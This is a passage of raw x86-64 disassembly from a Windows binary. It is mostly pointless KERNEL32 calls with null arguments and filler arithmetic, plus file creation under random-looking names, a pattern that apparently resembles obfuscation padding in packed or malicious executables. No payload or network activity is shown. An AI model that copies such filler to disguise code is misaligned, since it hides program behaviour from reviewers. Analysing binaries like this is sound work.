call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b4], eax
movzx ecx, word [rsp + 0x1fc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f48], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc7d8], rax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc478]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc450], rax
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0xfa0]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f1c], ax
movzx eax, word [rsp + 0x1f70]
mov word [rsp + 0x2018], ax
mov rax, qword [rsp + 0xc0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc3f0]
shr rax, cl
mov qword [rsp + 0xc3a8], rax
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xc7e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5b60], eax
movsx eax, byte [rsp + 0x37c]
movsx ecx, byte [rsp + 0x385]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [0x1401c7030]
mov rcx, qword [rsp + 0xc738]
mov qword [rsp + 0xc7e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc700], rax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64a8], eax
movsx eax, word [rsp + 0x1fc8]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c7054], ax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [0x1401ac650]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x201c], ax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0xfc8]
mov qword [rsp + 0xc7f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
lea rcx, str.kOM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2020], ax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
or eax, ecx
mov byte [rsp + 0x389], al
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64bc], eax
mov eax, dword [rsp + 0x64cc]
mov dword [rsp + 0x64f8], eax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc760]
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x383], al
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xc658]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xc570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64d4], eax
lea rax, [rsp + 0x1fdc]
mov qword [rsp + 0xc7f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea rax, [rsp + 0x1ef8]
mov qword [0x1401c8ad0], rax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa3d0], rax
movzx eax, word [0x1401c7028]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fd0], ax
mov rax, qword [rsp + 0xc408]
movzx eax, word [rax]
mov word [rsp + 0x2024], ax
mov rax, qword [rsp + 0xc700]
mov rcx, qword [rsp + 0xc6b8]
mov qword [rsp + 0xc800], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc800]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc450], rax
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64fc], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xc808], rax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38a]
sar eax, cl
mov byte [rsp + 0x388], al
movzx ecx, word [rsp + 0x1f5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f2c], ax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6098]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59f4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa90]
sub eax, ecx
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc620]
imul rcx, qword [rax]
mov rax, rcx
mov qword [0x1401c7010], rax
mov eax, dword [rsp + 0x597c]
mov ecx, dword [rsp + 0x6440]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64e8], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov byte [rsp + 0x38d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc810], rax
movzx ecx, word [rsp + 0x1fcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13c8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov r9d, 0x11a9
xor r8d, r8d
lea rdx, [rsp + 0xc3b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6500], eax
lea rdx, [rsp + 0x26098]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
movzx eax, word [0x1401c8acc]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1164], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x56b8]
mov rcx, qword [rsp + 0xc430]
mov qword [rsp + 0xc818], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc818]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x388]
movsx ecx, byte [0x1401c8a13]
shl eax, cl
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xc508]
mov qword [rsp + 0xc820], rax
movsx eax, word [rsp + 0x1608]
mov rcx, qword [rsp + 0xc6b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f68], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x1fe0]
mov qword [0x1401c8ad8], rax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
mov qword [rsp + 0xc828], rax
mov rcx, qword [rsp + 0xc718]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6408], eax
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2028], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaeb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5a0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc738]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbc18], rax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
xor eax, ecx
mov word [rsp + 0x1e54], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6490]
shr eax, cl
mov dword [rsp + 0x5b60], eax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov qword [rsp + 0xc830], rax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38a], al
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37b]
shl eax, cl
mov byte [rsp + 0x36b], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6504], eax
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6498], eax
lea rax, [rsp + 0x1e38]
mov qword [0x1401c8ae0], rax
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f30], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fb8]
add eax, ecx
mov word [rsp + 0x200c], ax
lea rax, [rsp + 0x1fd4]
mov qword [rsp + 0xc838], rax
mov rax, qword [rsp + 0xaef0]
mov rcx, qword [rsp + 0xc5a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
mov byte [rsp + 0x38e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6360], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc590]
movabs rcx, 0x7c95d413cccfef
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0xc730], rax
mov eax, dword [rsp + 0x60f4]
mov ecx, dword [rsp + 0x6494]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x59f4], eax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2000]
shl eax, cl
mov word [rsp + 0x1b0c], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f3c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401c7068], rax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [rsp + 0x202c], ax
mov rax, qword [rsp + 0xc748]
mov rcx, qword [rsp + 0xc620]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0xc748]
mov rcx, qword [rsp + 0x9ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov qword [rsp + 0xc840], rax
mov rax, qword [rsp + 0xc5d8]
mov ecx, dword [rsp + 0x6380]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
lea rax, [rsp + 0x5aac]
mov qword [rsp + 0xc848], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.FVYF_fvKcvzn2aFGjf7i2h
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc850], rax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [str.5qKr]
and eax, ecx
mov byte [rsp + 0x36b], al
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
sub eax, ecx
mov byte [rsp + 0x385], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x628c], eax
mov r9d, 0x185b
xor r8d, r8d
lea rdx, [rsp + 0xc4c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x62bc], eax
movsx eax, word [rsp + 0x1e38]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8a28], ax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f7c]
or eax, ecx
mov word [rsp + 0x146c], ax
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x114c]
sar eax, cl
mov word [rsp + 0x1f70], ax
lea rax, [rsp + 0x1404]
mov qword [rsp + 0xc858], rax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xbf50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc790], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc860], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64d0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6458], eax
mov eax, dword [rsp + 0x64c0]
mov dword [rsp + 0x6508], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x380]
imul eax, ecx
mov byte [rsp + 0x375], al
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cfc]
add eax, ecx
mov word [rsp + 0x2024], ax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa20], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [0x1401c8ae8], rax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc118]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9620], rax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb0d8]
mov qword [rsp + 0xc868], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [0x1401c8a60]
mov rcx, qword [rsp + 0xc738]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc18], rax
movzx eax, word [rsp + 0x1718]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov dword [rsp + 0x650c], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26d]
shl eax, cl
mov byte [rsp + 0x381], al
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov byte [rsp + 0x65], al
movzx ecx, word [rsp + 0x1f48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [0x1401c8ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xc570]
mov rcx, qword [rsp + 0xc6d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c8a18], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64c4], eax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1608]
sar eax, cl
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
movzx eax, word [0x1401c8a28]
mov word [rsp + 0x2030], ax
lea rcx, [rsp + 0x1fe88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0xfc8]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1fac], ax
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
mov edx, 0x6ba
mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6510], eax
mov rax, qword [rsp + 0xc130]
movzx ecx, al
mov rax, qword [rsp + 0xa1e0]
shl rax, cl
mov qword [rsp + 0xab28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [0x1401c7020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc488], rax
movsx eax, byte [rsp + 0x21f]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x6514], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f1c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc870], rax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fb8]
add eax, ecx
mov word [0x1401c7070], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rax, [rsp + 0xc388]
mov qword [rsp + 0xc878], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
add eax, ecx
mov word [rsp + 0x9cc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x6518], eax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.ZiDtpuKwfsNsWyIGY9ZxFdW0S
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc880], rax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edx, 0x24d
mov rcx, qword [rsp + 0xc810]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6444], eax
mov r9d, 2
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x651c], eax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2020], ax
movzx eax, byte [rsp + 0x381]
movzx ecx, byte [rsp + 0x382]
sar eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x38b]
shl eax, cl
mov byte [rsp + 0x380], al
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6380]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e5c], eax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xbeb8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc780], rax
movzx eax, word [rsp + 0x12c8]
mov word [rsp + 0x2034], ax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [0x1401c8af0], ax
mov rax, qword [0x1401c8a60]
mov rcx, qword [rsp + 0xaef0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc18], rax
mov rax, qword [rsp + 0xc608]
imul rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
lea rax, [rsp + 0x158c]
mov qword [rsp + 0xc888], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x1fa0], ax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x255]
sar eax, cl
mov byte [rsp + 0x2c3], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc890], rax
mov eax, dword [0x1401c7008]
movzx ecx, al
mov eax, dword [rsp + 0x59f8]
shl eax, cl
mov dword [rsp + 0x6514], eax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xc468]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6478], eax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f54], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xc898], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.itXbjzLKu_vBjylOCyMBAGywv00_s53Z7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc8a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8a10], ax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc8a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6520], eax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f94], ax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x6524], eax
movzx eax, byte [rsp + 0x37b]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x253], al
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64d8], eax
mov rax, qword [rsp + 0xc450]
mov rcx, qword [rsp + 0xc2e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7b8], rax
mov rax, qword [rsp + 0xc658]
mov rcx, qword [0x1401c8ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc550], rax
mov eax, dword [rsp + 0x5e5c]
mov ecx, dword [rsp + 0x64ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6098], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, byte [rsp + 0x38a]
mov byte [rsp + 0x38f], al
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f50]
xor eax, ecx
mov word [rsp + 0x12c8], ax
movzx ecx, word [rsp + 0x1fbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2038], ax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x647c], eax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19ac]
and eax, ecx
mov word [0x1401c7074], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
